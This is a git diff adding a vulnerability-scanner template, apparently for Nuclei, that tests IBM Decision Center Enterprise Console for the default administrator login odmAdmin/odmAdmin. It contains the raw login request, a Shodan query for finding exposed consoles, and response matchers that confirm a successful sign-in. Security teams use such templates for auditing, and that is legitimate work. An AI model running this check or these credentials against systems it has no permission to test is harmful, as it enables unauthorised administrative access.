diff --git a/http/default-logins/ibm/ibm-dcec-default-login.yaml b/http/default-logins/ibm/ibm-dcec-default-login.yaml new file mode 100644 index 0000000000..46547d1d7d --- /dev/null +++ b/http/default-logins/ibm/ibm-dcec-default-login.yaml @@ -0,0 +1,44 @@ +id: ibm-dcec-default-login + +info: + name: IBM Decision Center Enterprise Console - Default Login + author: DhiyaneshDK + severity: high + reference: + - https://www.ibm.com/docs/en/odm/8.5.1?topic=console-tutorial-getting-started-decision-center-enterprise + metadata: + verified: true + shodan-query: html="Decision Center Enterprise console" + tags: ibm,default-login,decision-center + +http: + - raw: + - | + POST /teamserver/j_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + j_username={{username}}&j_password={{password}} + + host-redirects: true + max-redirects: 3 + + attack: pitchfork + payloads: + username: + - odmAdmin + password: + - odmAdmin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Current action:" + - "Sign Out" + condition: and + + - type: status + status: + - 200